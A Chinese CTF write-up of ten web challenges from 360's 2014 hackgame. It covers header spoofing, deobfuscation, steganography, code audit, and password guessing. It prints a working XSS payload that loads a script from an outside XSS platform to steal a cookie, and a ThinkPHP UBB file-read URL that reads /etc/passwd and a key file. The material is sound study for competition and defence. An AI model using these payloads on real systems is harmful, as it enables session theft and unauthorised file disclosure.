360hackgame writeup

wyzsk發表於2020-08-19
作者: AppLeU0 · 2014/05/05 11:22

0x00扯扯蛋


第一次在wooyun投稿,新人求帶。360網路攻防hackgame開荒記,自己做的一些題,中間有一些是領先的,也算開荒吧,就叫開荒記吧,自己的腦洞也比較大,有的題各種想法就是容易想歪了,思路一跑偏就肯定做不出來了,所以做這種比賽還是要依靠一些題目描述的細節、hint等等,發掘一些不對勁的地方。如果是寫writeup,可能自己就只有一種正確的解法,但是中間嘗試的過程才是重要的,也記錄一下自己是怎麼跑偏,怎麼進行各種嘗試的吧,這樣比較有意思。 我的部落格http://appleu0.sinaapp.com 打個小廣告,有些writeup在部落格,有興趣的關注一下。

0x01 web1 Referer


http://attack.onebox.so.com/c6c299rf-main.html

2014050416151772962.jpg

第二關需要從hack.360.cn進入,直接點選按鈕可行不通哦!~~

直接點選是沒法進入的,抓包檢視一下也並沒有發現什麼。提示說從 hack.360.cn進入,那麼我們自然會想到一個東西。在http header中有一種屬性 Referer,是用來告訴伺服器我是從哪個頁面連結過來的,是比較符合題目說的需要從hack.360.cn進入這個說法的。需要改包的話,我愛使用burp suite,提示直接點選按鈕不行,那麼我就去點選進入下一關,然後burp抓包之後 在http header中加上了一個

Referer: http://hack.360.cn

然後發包就進入了第二關,順便說下另外兩個和ip啊域名啊相關的http header 是Host還有X-Forwarded-For,如果Referer測不對,就會去測測這兩個東西。

2014050416161664573.jpg

0x02 web2 javascript


http://attack.onebox.so.com/jaa60cjse-main.html

2014050416174359639.jpg

需要我們自己找到密碼,那麼我們先檢視一下原始碼,然後再抓包看看有沒有什麼密碼或者是什麼異常。

2014050416192997203.jpg

2014050416201462318.jpg

在原始碼中發現了這一行,抓包也可以看見encode.js這個javascript程式碼,發現有一些加密、程式碼混淆什麼的,儲存到本地來除錯一下。程式碼首末加上在原始碼中發現了這一行,抓包也可以看見encode.js這個javascript程式碼,發現有一些加密、程式碼混淆什麼的,儲存到本地來除錯一下。程式碼首末加上<script> </script>,儲存成html。

#!html
<script>var password = eval(function(p,a,c,k,e,d){e=function(c){return(c<a>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c][/c]||e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1;};while(c--)if(k[c][/c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c][/c]);return p;}('9 5$=["\8\3\4\3\2\2\1\3\2\3\3\2\2\7\3\1\4\1\3\2\1\3\1\3\2\2\2\1\3\4\1\3\2\1\4\1\3\2\1\4\1\3\2\2\1\3\4\1\3\2\1\4\1\3\2\1\4\1\3\2\1\4\1\3\2\1\4\1\3\2\1\4\1\3\2\2\1\3\1\3\2\2"];6 c(){e<a href="5$[0]">"\f\g\d\a\b"</a>}',17,17,'|x2b|x5d|x5b|x21|_|function|x29|x28|var|x72|x74|O0|x65|window|x61|x6c'.split('|'),0,{}));</script> </a>?"":e(parseint(c> 

點開發現並沒有顯示出什麼,那麼我們要先知道一個姿勢,在做這種js程式碼隱寫啊什麼的時候,會比較快速。就是在javascript程式碼執行中,有一些並不會顯示出來的程式碼,比如他eval了一下,那麼你可以使用document.write或者是alert去顯示出這些程式碼,觀察邏輯。程式碼不管怎麼混淆,怎麼加密,總是會去eval的,這個時候一般會是明文的,那麼只要我們在這個時候document.write一下,就可以觀察到語句,快速解題。

在這一題中我們把var password = eval修改成document.write。執行一下。發現顯示出了eval的程式碼

#!js
var _$=["\x28\x5b\x21\x5b\x5d\x5d\x2b\x5b\x5d\x5b\x5b\x5d\x5d\x29\x5b\x2b\x21\x2b\x5b\x5d\x2b\x5b\x2b\x5b\x5d\x5d\x5d\x2b\x5b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x5d\x2b\x5b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x5d\x2b\x5b\x2b\x5b\x5d\x5d"];function O0(){window["\x61\x6c\x65\x72\x74"][8]}

觀察到了_$變數,代表了"[object Object]",我們再使用相同的方法顯示出這個_$變數的值。把document.write修改回原來的eval,讓這個語句得以執行,然後再後面加上document.write(_$);

然後執行一下得到了一個jother編碼的東西。

([![]]+[][[]])[+!+[]+[+[]]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]

這個是一種另類的javascript編碼,只用了8個字元()[]{}+!就能表示其他所有的javascript程式碼,是種不錯的程式碼混淆的方法。要解這個有兩種方法,加上使用之前一樣的技巧來顯示javascript程式碼,顯示出來的是i360。

還有一種方法是使用了谷歌瀏覽器的控制檯。F12撥出選擇Console

2014050416213618431.jpg

輸入i360進入第三關。

0x03 web3 decode


http://attack.onebox.so.com/je4cd0jsk-main.html

2014050416223253604.jpg

要求解碼這下面的程式碼

0x253444253534253435253335253439253434253435253737253444253533253431253738253444253434253637253637253446253534253642253637253444253534253435253738253439253434253435253737253446253533253431253738253444253434253435253637253444253534253435253332253439253434253435253738253444253533253431253331253444253533253431253331253445253433253431253330253446253433253431253344  

提示說Ox還有解碼,那麼就可能會是一些進位制啊編碼等等的轉換。

25 34 44 25 35 34 25 34 35 25 33 35 25 34 39 25 34 34 25 34 35 25 37 37 25 34 44 25 35 33 25 34 31 25 37 38 25 34 44 25 34 34 25 36 37 25 36 37 25 34 46 25 35 34 25 36 42 25 36 37 25 34 44 25 35 34 25 34 35 25 37 38 25 34 39 25 34 34 25 34 35 25 37 37 25 34 46 25 35 33 25 34 31 25 37 38 25 34 44 25 34 34 25 34 35 25 36 37 25 34 44 25 35 34 25 34 35 25 33 32 25 34 39 25 34 34 25 34 35 25 37 38 25 34 44 25 35 33 25 34 31 25 33 31 25 34 44 25 35 33 25 34 31 25 33 31 25 34 45 25 34 33 25 34 31 25 33 30 25 34 46 25 34 33 25 34 31 25 33 44  

然後開啟神器JPK,這裡是這個神器的下載的連結 http://www.wechall.net/tools/JPK

wechall也是個可以練習ctf的平臺,歡迎各種大牛一起來練習,一起攪基。

神器開啟,Number——Convert——Number To Ascii

2014050416270352897.jpg

%4D%54%45%35%49%44%45%77%4D%53%41%78%4D%44%67%67%4F%54%6B%67%4D%54%45%78%49%44%45%77%4F%53%41%78%4D%44%45%67%4D%54%45%32%49%44%45%78%4D%53%41%31%4D%53%41%31%4E%43%41%30%4F%43%41%3D  

看到了% 字元範圍又是0到F,那麼就猜測是urlencode

神器接著來一發Ascii——Decode——Unescape

2014050416272186547.jpg

MTE5IDEwMSAxMDggOTkgMTExIDEwOSAxMDEgMTE2IDExMSA1MSA1NCA0OCA=  

得到一個字串,字元範圍是a-zA-Z=特別是觀察到末尾的=自然會想到base64,因為base64的尾部填充用的是=號,只是用來補足位數的,以四個字元為一個塊,最末尾不足四個字元的用=號填滿。

神器再來,Ascii——Decode——Base64

2014050416274791411.jpg

119 101 108 99 111 109 101 116 111 51 54 48  

這個是10進位制的,字元範圍為0-9,判斷是10進位制的ascii碼。

這裡先將進位制修改成10進位制的 InRadix OutRadix都改成10

2014050416280172745.jpg

然後再Number——Convert——Number To Ascii

2014050416260516756.jpg

welcometo360 這個就是過關的密碼了。

0x04 web4 stegsolve


http://attack.onebox.so.com/d971abpic-main.html

2014050416283391280.jpg

一個圖片的隱寫題,先下載下來,發現是一個JPG,jpg的圖片隱寫的方法就幾種吧,還是比較簡單的。一開始的腦洞比較大,還在想會不會是右上角的標誌,還去找了高畫質大圖。

2014050416285879868.jpg

WWWCN肯定是這樣子的,我太機智了。

好吧,如果是這樣子就變成猜謎遊戲了。認真看看題目,掏出神器Stegsolve

下載的連結是www.caesum.com/handbook/Stegsolve.jar

2014050416291535459.jpg

然後Analyse——File Format

jpg的話會有壓縮,所以基於像數的隱寫可能不太靠譜。看一下檔案的內部格式什麼的,果然發現有異常。

在本來圖片應該結束的地方,卻出現了大量的資料。檢視一下ascii,確定是什麼東西。

2014050416293371874.jpg

2014050416295592984.jpg

可以發現JFIF這個敏感的幻數。這個函式是jpg檔案的幻數。所以判斷在原圖後面還有一張jpg圖片。

這個時候我們可以使用Winhex來把這個後面的圖扣下來。Offset:00003B30到檔案的末尾,然後複製選塊,置入新檔案。

2014050416301755642.jpg

2014050416304113693.jpg

開啟就可以看到BLACK HAT WORLD,這些大寫的就是key了(不加空格)。

其實這個題就是和那種jpg+rar的內涵圖一個原理的,使用了一個copy命令

copy /B 1.jpg+2.jpg new.jpg 就是這個圖的生成的方法。

只是因為圖片先解析到第一張圖,你也沒法改字尾,像rar那樣子來解決,所以還是有創新的一道題。

附帶上一些圖片格式的幻數,方便查閱。

PNG = ‰PNG (89504E47)  
GIF = GIF89a (47494638)  
JPG = ???à JFIF (FFD8FF)  
BMP = BMF? (424D)  

0x05 web5 webshell


http://attack.onebox.so.com/cca5e5bas-main.html

2014050416313135040.jpg

從這個題開始,感覺到了360要靠猜的地方了,知道了方法都要嘗試很多很多次,比較坑爹,這個題我就模糊的記得jsp spy的密碼是ninty,也不是太確定。這個時候度娘就是神器了。各種搜尋,各種搜尋。其實有個方法才是比較便捷的,就是去下到這些webshell的官方的版本,上面的密碼肯定就是對的了。

http://www.webshell.cc/4422.html

這個網站就能下到傳說中的Webshell三劍客,然後分別去看看密碼。

php spy: angel  
aspx spy: admin  
jsp spy: ninty  

這個題也是卡了一會,網上百度到的有的是錯的,結果有三個輸入,也不太能確定到底是哪個錯了,只有慢慢試咯,由此拉開了360有獎競猜大賽的序幕。

0x06 web6 swp


http://attack.onebox.so.com/c47e92bak-main.html

2014050416320825652.jpg

我覺得這個題出得不好,是個坑。

一開始提到備份檔案,我想到的方向就是www.rar類似於這種的整站打包的備份檔案,然後既然是要找到這種備份檔案,那麼我們就需要去掃他出來,常見的一些壓縮檔案字尾有:rar、zip、7z、tar.gz這幾種,然後我就去配合一個掃目錄掃檔案的工具Pker去掃備份去了。

2014050416323538393.jpg

到後來各種字尾都試過了之後發現,沒辦法,掃不出來東西。

掃到了個.htaccess檔案發現了裡面的規則

<ifmodule mod_rewrite.c="">
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [C]
RewriteRule bak-main\.html\.swp$ bak-swp.html [QSA,PT,L]
</ifmodule>

然後就去研究這個東西,還看到了bak啊,swp什麼的,感覺有點希望。研究了一下沒弄出來,然後就在想會不會是思路出錯了,方向跑偏了,據說這些題都不用爆破也可以做出來的。那麼就要換個思路了,不用爆破。備份檔案,這裡的備份檔案可能不是那些rar打包檔案,而是一些編輯器生成的臨時備份檔案,比如Editplus生成的bak檔案,vim生成的~還有swp。然後我們要先去確定檔名哇,不然光有個字尾也弄出不來的。然後就在想可能不會是要去找別的檔案,而是c47e92bak-main.html這個自身的頁面,那麼我就用了去測試一下c47e92bak-main.html.bak c47e92bak-main.html~ .c47e92bak-main.html.swp都沒有,沒想到隨便測試了一個c47e92bak-main.html.swp居然出來東西了,這個就是我要說這個題出得不好的原因:下面是swp相關的資料 vim中的swp即swap檔案,在編輯檔案時產生,它是隱藏檔案,如果原檔名是data,那麼swp檔名就是.data.swp。如果檔案正常退出,則此檔案自動刪除。 以下兩種情況不會刪除swp檔案:

1 Vim非正常退出,這種情況下,除非手動刪除swp檔案(也可以在vim提示時刪除),否則它會一直存在。
2 多個程式同時編輯一個檔案。

這個檔案應該是隱藏檔案,既然說的是忘記刪除的,那麼應該是.c47e92bak-main.html.swp應該是這樣子才對,不可能還把它的.去掉,所以這個題出得不好。 之前剛好做過一個題是關於swp檔案的,順便說一下,2014ouc的c1題就是和swp相關的一道題,那個題是給了一個hacker檔案,我們file一下發現發現了c1 hacker: Vim swap file, version 7.3 提示是一個vim產生的swp檔案。然後把hacker改成.hacker.swp 再新建個hacker,vim -r hacker就可以恢復檔案了,恢復出了一些base64的編碼/9j/4AAQSkZJRgABAQEAYABgAAD,這樣子的,看這個格式是一張base64編碼過的圖片,郵件中傳輸影像常常使用這種方式。

<img src=”data:image/jpg;base64, /9j/4AAQSkZJRgABAQEAYABgAAD/….” />

這樣子儲存成html就可以解開了。

扯遠了,剛好因為比賽之前做了這個題,所以對swp才有一些瞭解。我們接著說那個.swp檔案,把下載回來。發現了_getNextKey():

#!php
protected function _getNextKey() { $str = base64_encode("89spo36rnrsrq449pq7045o283nn0rp3d26a0666809dd018b885955e34032b20"); return md5($str); }

base64編碼後:ODlzcG8zNnJucnNycTQ0OXBxNzA0NW8yODNubjBycDNkMjZhMDY2NjgwOWRkMDE4Yjg4NTk1NWUzNDAzMmIyMA==
md5計算後:584AFD9177ED1005B0D255ECFD8BE9A8

我寫writeup的時候 好像這個字串變化了,是隨機化的,一個id一個key。方法都是一樣的,計算一下就可以了(md5大寫)。感覺題目越來越需要猜了。

0x07 web7 社工


http://attack.onebox.so.com/s56410sense-main.html

2014050416334849245.jpg

看到這個題,槽點滿滿的。和西電xdctf的那個題有點像,舞動旋律那題。是給出了一些資訊,需要我們去組合,猜測密碼。手工猜了幾個猜不動。那種組字典的工具去組個字典爆破試試看吧,N.C.P.H社會工程學字典生成器,比較愛用這個工具。

2014050416341673013.jpg

生成了字典之後,輸入那個驗證碼,並不會重新整理的,所以可以用來爆破,後來上了WAF我就不知道還能不能爆破了。總之最後的結果是爆破失敗了,什麼都沒做出來。
那個驗證碼看著也很彆扭,生怕他是錯的,給個這樣子的提示,真難啊。

2014050416343597361.jpg

後來之後自己慢慢,手動試了,驗證碼在firefox裡不會重新整理,也不用太擔心效率的問題。試了好久好久,直到試到了Lilei20140305這個 才出現了奇蹟。原來還要大小寫,這題真是淫蕩。越來越有360有獎競猜大賽的味道。。。欲哭無淚

91199faddb0f5abe576ea087ea708172這個加密串要去解密

2014050416350767467.jpg

在陸羽的部落格中看到了這一篇,其實3月掛出來的,之前我也有看到過,還去破解過呢,運氣真好,google一下就能解出來了。

2014050416353038131.jpg

91199faddb0f5abe576ea087ea708172:360-hackgame-8-hello-world.php

要是之前有記得這個360-hackgame-8-hello-world.php 的話,特別是提示的8hello,直接在第7關就輸入就過了,不用困在猜密碼那麼久了。當然了,這個也是意淫,出了這個md5一搜才想起來自己之前去破過的。

0x08 web8 audit


http://attack.onebox.so.com/eda63b0faudit-main.html

2014050416360234863.jpg

這個題又是那種很噁心的題目,要勾選有漏洞的程式碼,有很多種組合。要試很多很多很多很多遍才能試出來的。而且還沒法爆破,每次出現的函式的順序會變化。
7個函式,慢慢分析吧

#!php
public function SetTemplate($lang)
{
    $lang = isset($lang) ? $lang : 'cn';
    include('template/' . $lang . '.php.html');
}

這個SetTemplate是用來包含語言檔案進來的,因為對於傳入的$lang沒有進行過濾,直接include了進來,可以使用../進行跨目錄的一些操作,包含到/etc/passwd等敏感的檔案,在GPC關閉時可以使用%00進行截斷,造成LFI漏洞。如果GPC開啟時,就會對%00進行轉義。有漏洞的語句是 include那句。

#!php
public function fetch($templateFile='')
{
    return file_get_contents($templateFile);
}
public function build($htmlfile='', $htmlpath='', $templateFile='')
{
    $content = $this->fetch($templateFile);
    $htmlpath   = !empty($htmlpath)?$htmlpath:HTML_PATH;
    $htmlfile =  $htmlpath.$htmlfile.'HTML_FILE_SUFFIX';
    if(!is_dir(dirname($htmlfile)))
        mkdir(dirname($htmlfile),0755,true);
    if(false === file_put_contents($htmlfile,$content))
        throw new Exception('_CACHE_WRITE_ERROR_'.$htmlfile);
    return $content;
}

這兩個函式一起看吧,fetch這個函式,可以return檔案的內容,對於傳入的引數$templateFile也沒過濾,一開始,我也是並不太確定了。不確定的話就要多試幾遍,這個題的限制也比較少,沒說清楚輸入啊什麼的,放眼看去感覺一大堆漏洞。測試後發現這個是不算漏洞的,因為只在build函式中呼叫了,而build函式去百度一下就會發現是thinkphp的生成靜態頁面的方法,去wooyun上搜搜,也沒有發現與此相關的什麼漏洞。那麼這兩個函式就是安全的。

#!php
public function __set($key)
{
    if(isset($this->_var[$key])) {
        return $this->_var[$key];    
    }
}
public function __set($key, $name)
{
    if (isset($this->_var[$key])) {
        return $this->_var[$key];   
    }
    return false;
}

這兩個函式比較相似,就放一起講,__set()方法是php中的魔術方法,用來給私有物件賦值的。並沒有什麼相關的漏洞,這兩個函式比較正常,只能搜到用法啊一些,並找不到和漏洞相關的。

#!php
public function Filter($value,$safecode)
{
    $value = preg_replace("/(javascript:)?on(click|load|key|mouse|error|abort|move|unload|change|dblclick|move|reset|resize|submit)/i", "&111n\\2", $value);
    $value = preg_replace("/(.*?)<\/script>/si", $safecode, $value);
    $value = preg_replace("/(.*?)<\/iframe>/si", $safecode, $value);
    $value = preg_replace("/(.*?)/e", $safecode, $value);
    $value = preg_replace("//iesU", $safecode, $value);
    return $value;
}

這個是一個過濾器,用來過濾一些xss程式碼,保證安全性的。
然後發現了preg_replace /e 這兩句,如果傳入的值可控的,就會造成程式碼執行漏洞。
下面兩句/e就是漏洞語句。

#!php
public function Upload($filename)
{
    $default_path = 'upload/';
    if (!file_exists($default_path))
        mkdir($default_path, 0777, true);
    $destination = $default_path . basename($filename);
    echo 'Saving your image to: ' . $destination;
    $jfh = fopen($destination, 'w') or die("can't open file");
    fwrite($jfh, $GLOBALS['HTTP_RAW_POST_DATA']);
    fclose($jfh);
}

最後一個是Upload這個函式, 先是建立了一個目錄許可權是777,然後是檔名沒有做過濾,就拿去做了字串連線,所以上傳的$filename可以命名成weshell.php的,然後顯示出相對路徑,$jfh = fopen($destination, ‘w’) 建立一個檔案,可寫入東西,fwrite($jfh, $HTTP_RAW_POST_DATA); 這句徹底淪陷,$HTTP_RAW_POST_DATA 可以使用post往檔案裡寫shell,直接getshell,所以是那三句出現了漏洞。$destin… $jfh… fwrite(… 這三句。分析完畢後,就是試啊試,看是哪些語句,慢慢測。 我做的時候只有6句是漏洞語句,後來我寫writeup的時候改過了。 加上了一句 return file_get_contents($templateFile); 也是我猶豫不決的一句,他能返回檔案原始碼,可以造成檔案原始碼洩露。可是他沒有echo,而是用了return。 那就再加一句,一共7句漏洞程式碼。

0x09 web9 xss


http://attack.onebox.so.com/x2a9ef99cd0xs-main.html

2014050416363996837.jpg

xss的一道題,需要拿到cookie,要使用到xss平臺。先去配置一個xss平臺來獲取cookie先,我是用的冷總的xss平臺。

http://lennyxss.sinaapp.com/

http://lennyxss.sinaapp.com/3C9ee4?1398504020

配置一個獲取cookie的js程式碼。然後去測試那個留言板的過濾。

手動測測,發現是最先檢測的是你的程式碼中有沒有html5標籤,然後檢測你的程式碼有沒有非法字元,被他過濾的字元,然後是檢測你的程式碼能不能注入。

其實所謂的html5,也只有他提示的svg標籤,使用其他的html5標籤沒法繞過。比如video audio,比較鬱悶,其實這裡就應該想到後臺對留言板的處理什麼的,當時並沒有想到,結果卡了一夜。然後就是測試了想要去構造個標籤,還看到網上的一些使用了什麼的,就去想要繞過,這裡又坑了。後來fuzz的時候才發現的。

2014050416371016719.jpg

使用了burp fuzz測試非法字元,提交類似於 svg "這樣子的內容,burp測試

2014050416372592310.jpg

發現了3個非法的," > \這三個字元,還會過濾其他的。測試到這裡的時候才發現自己之前的想法不對,不是要去想辦法繞過,然後閉合上<svg>,而是 >直接就是在黑名單中的,應該要想辦法利用後臺的程式碼去閉合。思路明確之後,就是在屬性、事件中去編碼繞過或者是不使用一些被過濾的字元比如"。然後就是構造測試、構造測試..
最後是這樣子的xss payload onload頁面載入是執行js指令碼

#!html
<svg onload=document.body.appendChild(createElement(/script/.source)).src=String.fromCharCode(47,47,108,101,110,110,121,120,115,115,46,115,105,110,97,97,112,112,46,99,111,109,47,51,67,57,101,101,52,63,49,51,57,56,50,52,56,52,48,48);//

使用了fromCharCode編碼 //lennyxss.sinaapp.com/3C9ee4?1398248400

就是之前我們生成的xss地址。

2014050416374697061.jpg

提交成功之後,發現cookie來了。好開心,去xss平臺檢視一下。

2014050416380611290.jpg

2014050416382860616.jpg

cookie的最後的一個是 xss-key=cc4b0a94f5a2e5a244a1cc44a7fb4cb3

提交進入最後一關。

0x0A web10 ubb


http://attack.onebox.so.com/jdad3f8fasd0d-main.html

2014050416390225061.jpg

這個題我輸了T T,第一步一直沒做出來,死貓做出來的時候,我還沒有思路。

這個題我的思路是各種飄,各種跑偏,蛋疼。這個題一來就和別的題不一樣,沒有提交框,我們需要先想辦法找到那個提交框,還有題目的描述什麼的。抓包看看。
burp可以看到

2014050416392672719.jpg

Set-Cookie: display=5842b0a0df2d52533c241c6ec26089a8; expires=Sun, 27-Apr-2014 10:37:15 GMT; secure  

這個就是讓我各種跑偏的一個東西。訪問頁面,response中給出來一個Set-Cookie。

display=5842b0a0df2d52533c241c6ec26089a8 這個還帶了一個secure的標誌。

secure標誌是指定cookie要在https的傳輸協議中才會給帶上的,現在的訪問的是正常的http的協議,所以cookie不會被設定上,那麼肯定是順手就在發包中加上了這個cookie,試試看。也沒有什麼反應。然後就去研究這個md5,發現解開是dispaly這樣子的,客服說是手誤了,不要在意。也沒有什麼能挖掘的。就去找secure相關的,也就是這個服務中的https。然後發現443埠是沒有開放的,沒有什麼收穫。那麼就nmap掃一下埠看看吧。open的只有80,就去測試會不會有埠複用的情況,在80埠中還使用了https這個服務。

https://attack.onebox.so.com/jdad3f8fasd0d-main.html https://attack.onebox.so.com:80/jdad3f8fasd0d-main.html

沒有什麼特殊的,很蛋疼。還是找不到入手的地方,想到https 443埠沒開放的話,就去測試一下8443埠,發現了有一些異常,8443埠在nmap中是filtered,測試了一會,也沒辦法利用。還在想會不會是最近很火的openssl,使用payload打了80埠試了試,並沒有什麼反應。

這個時候,客服說我和死貓都在第十關沒有進展,那麼可以確定不應該從埠這個方向入手,果斷要換個思路。

後來甚至還找出來做偽靜態之前的原始檔出來,發現了500的響應,很桑心。

http://attack.onebox.so.com/Lib/Action/Jdad3f8fasd0dAction.class.php

都一直在迷茫地測試著各種。

甚至還把那個display post提交到了頁面上,也沒有反應,後來發現,其實這裡已經很接近了,但是還是不對。

直到後來,死貓做出來了,我還沒有什麼進展。最後是在想display用怎麼用的時候,是一個name=value的形式,然後想到了那個actf上的 way = “H4ck_F0r_Fun!GoGoGo!,是不是也要來試試看。然後就用get方式提交 ?display= 5842b0a0df2d52533c241c6ec26089a8作為引數。這個時候有了不一樣的回顯。

http://attack.onebox.so.com/jdad3f8fasd0d-main.html?display= 5842b0a0df2d52533c241c6ec26089a8

2014050416395546227.jpg

菊花一緊,沒有這樣子玩的,居然把cookie拿去get提交。桑心了。

然後就是提示要去讀取檔案,這個比較簡單。在wooyun上找找thinkphp的漏洞,然後發現了幾個,有一個是程式碼執行的,測了一個沒測出來。再換個姿勢,既然他要我們來讀檔案,那麼就去找讀取原始碼、讀取檔案的漏洞。

google hacking一發:site:wooyun.org thinkphp 讀取原始碼

2014050416402398457.jpg

百度出來的第一條就是了,我真是有特殊的搜尋技巧啊。

WooYun: ThinkPHP的Ubb標籤漏洞讀取任意內容

然後就是測試這個漏洞。

漏洞的描述是這樣子的:

當path=[code language=""][/code]/etc/passwd[/code ]

成功讀取對應內容。

2014050416405380109.jpg

那麼我們也來仿照他的。

path=[code][/code]/home/s/pwd/1bbba54560cd4735b4c479ac5c30349e.txt[/code ]

這樣子來顯示出key的內容。

http://attack.onebox.so.com/jdad3f8fasd0d-main.html?display=5842b0a0df2d52533c241c6ec26089a8&path=[code][/code]/home/s/pwd/1bbba54560cd4735b4c479ac5c30349e.txt[/code ]

獲取了一個check:d914e3ecf6cc481114a3f534a5faf90b$28159b405e970344e0b55a6b247f89f3|e1766018236b861fd7090936a682b8ea

這樣子的字串,整個拿去提交就可以了。

2014050416411431075.jpg

0x0B 後記


其實做這個比賽還是挺有收穫的,我也發現了自己的弱點,以及該如何去努力。比賽的時候,好多人看到,然後給我加油,給我鼓氣,真是謝謝你們。我有的時候,對著一道題目死磕,自己都快要放棄了,你們還鼓勵讓我堅持下去。謝謝你們。

然後我發現做ctf的時候,很多時候都是輸給了自己,而不是輸給別人。自己做一個題,做不下去了,各種測試無果,往往會自己給自己找個藉口,找個臺階。這個獎品不是我要的,這個題太難了,這個型別的題我沒接觸過,各種各樣的藉口。其實都是扯淡,就是自己放棄了,輸給了自己了。

還是死貓也是讓我學習到了好多,學習能力真的很重要,如何在短時間內吸收最多的知識,運用起來,這種能力很重要。遇到不懂的,馬上就去查閱相關資料,自己給自己漲姿勢。貓總,你太屌了。學習到了~

還有一個就是key的隨機化,做到每個id一個key,或者是每一次不同的提交都有不同的key,比如第六題和第十題,就做到。也是很好的一點,阻止了直接共享key的發生,也會是將來ctf的一個趨勢吧。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章